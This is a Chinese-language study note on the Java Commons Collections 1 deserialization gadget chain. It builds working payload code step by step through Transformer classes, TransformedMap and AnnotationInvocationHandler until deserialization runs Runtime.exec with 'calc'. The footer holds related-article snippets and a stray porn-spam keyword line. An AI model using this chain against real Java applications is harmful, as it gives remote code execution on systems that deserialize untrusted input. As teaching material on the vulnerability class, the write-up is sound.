<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java反序列化漏洞:Commons Collections 1 學習筆記

    VSole2022-12-22 09:46:27

    前置知識

    分析Transformer接口及其實現類。

    ConstantTransformer:構造函數傳入一個對象,調用transform()方法時,不管輸入是什么,都返回構造函數ConstantTransformer()傳入的對象。

    // ConstantTransformer構造函數及transform()函數public ConstantTransformer(Object constantToReturn) {    super();    iConstant = constantToReturn;} public Object transform(Object input) {    return iConstant;}
    

    ChainedTransformer:自動對transformers數組中每一個元素transformers[i]調用transform(),前一個的輸出作為后一個的輸入,鏈式調用transform()方法。

    // ChainedTransformer構造函數及transform()函數public ChainedTransformer(Transformer[] transformers) {    super();    iTransformers = transformers;} public Object transform(Object object) {    for (int i = 0; i < iTransformers.length; i++) {        object = iTransformers[i].transform(object);    }    return object;}
    

    InvokerTransformer:相當于重新實現了反射,構造函數傳入方法名、參數類型、參數。transform()傳入對象,進行反射調用。

    // InvokerTransformer構造函數及transform()函數public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {    super();    iMethodName = methodName;    iParamTypes = paramTypes;    iArgs = args;} // InvokerTransformer的transform()方法public Object transform(Object input) {    if (input == null) {        return null;    }    try {        Class cls = input.getClass();        Method method = cls.getMethod(iMethodName, iParamTypes);        return method.invoke(input, iArgs);     } catch (NoSuchMethodException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");    } catch (IllegalAccessException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");    } catch (InvocationTargetException ex) {        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);    }}
    

    三種方式彈出計算器

    // 正常彈計算器Runtime.getRuntime().exec("calc"); // 反射調用計算器// 獲取一個Runtime的對象Runtime r = Runtime.getRuntime();// 獲取Runtime類Class c = Runtime.class;// 獲取Runtime類的exec()方法,(方法名,參數類型)Method execMethod = c.getMethod("exec", String.class);// 反射調用exec彈計算器,(對象,參數)execMethod.invoke(r,"calc");  /*InvokerTransformer調用計算器相當于重新實現了反射,把上面的反射調用后兩行寫成一行*/Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",        new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    

    構造調用鏈

    調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。最終還是得找不同的方法才能跳轉。

    哪里調用了transform():checkSetValue()-->transform()

    發現了InvokerTransformer類中的transform()方法是危險方法,從后往前找,找哪個類的不同方法里面調用了transform()。

    找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。

    最后的目標是回到readObject()里,比如LazyMap類中的get()方法調用了transform(),再接著去找誰又調用了get()。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。

    最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。

    找到TransformedMap類中checkSetValue()中調用了valueTransformer.transform(value);

    protected Object checkSetValue(Object value) {    return valueTransformer.transform(value);}
    

    看一下valueTransformer是什么,在TransformedMap的構造函數中可以對valueTransformer賦值。

    構造函數的參數:傳入一個Map和兩個Transformer。

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {    super(map);    this.keyTransformer = keyTransformer;    this.valueTransformer = valueTransformer;}
    

    TransformedMap的構造函數屬性是protected,只能在類內調用。

    因此找一下哪里調用TransformedMap()構造函數。

    找到decorate()調用了 TransformedMap()。

    調用decorate()相當于調用了構造函數。

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}
    

    構造checkSetValue()中的valueTransformer,因為要通過InvokerTransformer反射調用計算器,所以要讓valueTransformer = invokerTransformer,invokerTransformer為InvokerTransformer類的一個對象。

    在構造函數中可以進行valueTransformer的賦值,但是TransformedMap的構造函數不能直接調用(屬性為protected),間接通過decorate()來給valueTransformer賦值。

    現在valueTransformer = invokerTransformer

    // 實例化一個InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一個map ,傳入decorate()中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);
    

    哪里調用了checkSetValue():setValue()-->checkSetValue()

    在AbstractInputCheckedMapDecorator類中的setValue()中調用了checkSetValue()。

    AbstractInputCheckedMapDecorator類是TransformedMap的父類。

    AbstractInputCheckedMapDecorator類的setValue()重寫了Map.Entry類中的setValue()。

    直接調用setValue(),可以彈出計算器。

    // 實例化一個InvokerTransformer (invokerTransformer)InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});// 新建一個map ,傳入decorate()中HashMap<Object, Object> map = new HashMap<>();Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);for(Map.Entry entry : transforedMap.entrySet()){    entry.setValue(r);}
    

    哪里調用了setValue():readObject()-->setValue()

    AnnotationInvocationHandler類中的readObject()方法中調用了setValue()。

    AnnotationInvocationHandler類中的readObject()方法:

    private void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    s.defaultReadObject();     // Check to make sure that types have not evolved incompatibly     AnnotationType annotationType = null;    try {        annotationType = AnnotationType.getInstance(type);    } catch(IllegalArgumentException e) {        // Class is no longer an annotation type; time to punch out        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");    }     Map<String, Class> memberTypes = annotationType.memberTypes();     // If there are annotation members without values, that    // situation is handled by the invoke method.    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {        String name = memberValue.getKey();        Class memberType = memberTypes.get(name);        if (memberType != null) {  // i.e. member still exists            Object value = memberValue.getValue();            if (!(memberType.isInstance(value) ||                  value instanceof ExceptionProxy)) {                memberValue.setValue(                    new AnnotationTypeMismatchExceptionProxy(                        value.getClass() + "[" + value + "]").setMember(                            annotationType.members().get(name)));            }        }    }}AnnotationInvocationHandler(Classextends Annotation> type, Map<String, Object> memberValues) {    Class[] superInterfaces = type.getInterfaces();    if (!type.isAnnotation() ||        superInterfaces.length != 1 ||        superInterfaces[0] != java.lang.annotation.Annotation.class)        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");    this.type = type;    this.memberValues = memberValues;}
    

    看AnnotationInvocationHandler類的構造函數,發現構造函數的參數中可以傳入Map,那這個Map就是我們完全可以控制的,因為在構造函數里面。

    所以我們就可以把我們構造好的TransformedMap放進去,需要注意類屬性不是public,為default類型,只有在sun.reflect.annotation包底下才能訪問到,因此必須通過反射去獲取,不能直接獲取。

    同時構造函數也是default類型,需要用getDeclaredConstructor()來獲取構造函數。

    // 獲取類Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 獲取構造函數Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 獲取實例,隨便寫一個常用的注解(Override)Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
    

    payload1

    // 此處的Runtime 對象 r 是不能序列化的Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, invokerTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 獲取類Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 獲取構造函數Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 獲取實例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
    

    從已注釋的for循環可以看到,我們調用setValue(r)需要傳入r

    目前payload的幾個問題:

    問題1、setValue()中我們需要傳入Runtime的對象r,而AnnotationInvocationHandler類中的setValue()中的參數還無法控制。

    問題2、Runtime類沒有繼承Serializable接口,不能序列化/反序列化。

    問題2解決:

    Runtime類不能序列化,而Class類可以序列化

    Runtime r = Runtime.getRuntime();不能序列化

    Class c = Runtime.class;可以序列化

    正常的反射調用

    //        正常的反射調用//        獲取Runtime的class對象        Class c = Runtime.class;//        獲取getRuntime方法  (函數名,參數類型)無參方法,參數類型寫null        Method getRuntimeMethod = c.getMethod("getRuntime", null);//        獲取到Runtime的對象r//        第一個參數表示在那個對象調用,getRuntime()為static方法,所以為null//        第二個參數表示方法的參數,沒有參數,所以為null        Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//        獲取exec方法        Method execMethod = c.getMethod("exec", String.class);//        調用exec,(對象,參數)        execMethod.invoke(r, "calc");
    

    改成InvokerTransformer(方法名, 參數類型, 參數)

    /*       改寫成InvokerTransformer(方法名, 參數類型, 參數),鏈式調用//        相當于//        Class c = Runtime.class;//        Method getRuntimeMethod = c.getMethod("getRuntime", null); 獲取getRuntime方法,相當于在Runtime.class上調用getMethod()方法,參數為getRuntime,參數類型為null*/        Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}).transform(Runtime.class);//        獲取Runtime對象        Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}).transform(getRuntimeMethod1);        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"}).transform(r1);
    

    改成ChainedTransformer的形式

    //改成ChainedTransformer的形式// 構造transformers 數組Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); // 調試的時候要注釋掉
    

    上面的payload中,只有Runtime.class是我們可以控制的。

    payload2,解決了問題2,還不能執行成功。

    // 此處的Runtime 對象 r 是不能序列化的,需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();map.put("key","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 獲取類Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 獲取構造函數Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 獲取實例Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
    

    問題3、AnnotationInvocationHandler類中的readObject()中的for循環中有兩個if判斷需要滿足。

    問題3解決

    分析:

    1、可能沒進入if判斷。

    2、后面的setValue()括號中的new AnnotationTypeMismatchExceptionProxy()是我們不能控制的。

    第一個if:

    調試:下斷點運行,發現Override.class中是空的,getKey()得到的是null,進不去第一個if判斷。

    public @interface Override {}for (Map.Entry memberValue : memberValues.entrySet()) {    String name = memberValue.getKey();    // 因為Override里面是空實現,所以memberType為null    Class memberType = memberTypes.get(name);    if (memberType != null) {  // i.e. member still exists        Object value = memberValue.getValue();        if (!(memberType.isInstance(value) ||              value instanceof ExceptionProxy)) {            memberValue.setValue(                new AnnotationTypeMismatchExceptionProxy(                    value.getClass() + "[" + value + "]").setMember(                        annotationType.members().get(name)));        }    }}
    

    Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transforedMap);
    

    改成

    Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap);
    

    注解Target中是有參數的。

    public @interface Target {    /**     * Returns an array of the kinds of elements an annotation type     * can be applied to.     * @return an array of the kinds of elements an annotation type     * can be applied to     */    ElementType[] value();}
    

    第二個if(直接可以進入,不需要構造):

    1、memberType能不能強轉成value

    2、value是不是ExceptionProxy類的實例

    if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
    

    問題1解決:

    使用ConstantTransformer()。

    ConstantTransformer:不管輸入是什么,調用transform()方法時,都返回構造函數輸入的值。

    payload3:

    // 此處的Runtime 對象 r 是不能序列化的,需要修改// Runtime r = Runtime.getRuntime();// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", null}),        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},                new Object[]{null, null}),        new InvokerTransformer("exec", new Class[]{String.class},                new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>();// 第一個值要與所選注解中的參數對應,Target中的參數為value,所以第一個參數要改為valuemap.put("value","value");Map<Object, Object> transforedMap = TransformedMap.decorate(map, null, chainedTransformer);/*for(Map.Entry entry : transforedMap.entrySet()){     entry.setValue(r);}*/// 獲取類Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 獲取構造函數Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);// 爆破annotationInvocationHandlerConstructor.setAccessible(true);// 獲取實例Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transforedMap); serialize(o); // 序列化deserialize("ser.bin"); // 反序列化
    

    正向調用順序:

    runtime構造函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    前置知識分析Transformer接口及其實現類。transform()傳入對象,進行反射調用。構造調用鏈調用鏈構造原則:找調用關系要找不同名的方法,如果找到同名,再通過find usages得到的還是一樣的結果。找到InvokerTransformer類中的transform(),右鍵,點 Find Usages,找函數調用關系,最好找不同名的方法,調用了transform()。因為transform()調用transform()不能換到別的方法里,沒有意義。如果有一個類的readObject()調用了get(),那我們就可能找到了調用鏈。最終選擇TransformedMap這個類,因為TransformedMap類中有好幾處都調用了transform()。
    它能夠根據類的全限定名查找并獲取類的相關信息,如父類、接口、字段、方法等。它可以讀取DEX文件中的字符串,比如類名、方法名、字段名等,并提供相關的字符串處理功能。
    Java安全之反射
    2022-11-22 10:36:15
    前言關于Java安全,反序列化漏洞一直是一個熱門話題,而反序列化漏洞?可以從反射開始說起。通過反射,對象可以通過反射獲取他的類,類可以通過反射拿到所有?附加上動態特性。入門有以下三種方法獲取?個“類”,也就是java.lang.Class對象://1、通過對象調用 getClass() 方法來獲取,通常應用在:比如你傳過來一個 Object類型的對象,而我不知道你具體是什么類,用這種方法
    前言在前面的一章中,主要在理論上進行了各種內存馬的實現,這里就做為上一篇的補充,自己搭建反序列化的漏洞環境來進行上文中理論上內存馬的注入實踐。這是內存馬系列文章的第十四篇。在/unser路由中獲取了請求體輸入流進行了反序列化調用。在debug過程中,發現是因為不能夠找到他的構造方法而報錯,更改后的注入方式。
    EasyJaba 這個題目是隴原戰”疫”2021網絡安全大賽的一道題,最近正好在學習java反序列化和內存馬的相關知識,通過這個題目可以很好的進行實踐。 反序列化
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。
    WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。將Java的動態功能和Java Enterprise標準的安全性引入大型網絡應用的開發、集成、部署和管理之中。
    簡介WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件,WebLogic是用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。
    雖說是 Spring 框架漏洞,但以下包含并不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。 CVE-2010-1622 Spring Framework class.classLoader 類遠程代碼執行 影響版本:SpringSource Spring Framework 3.0.0
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类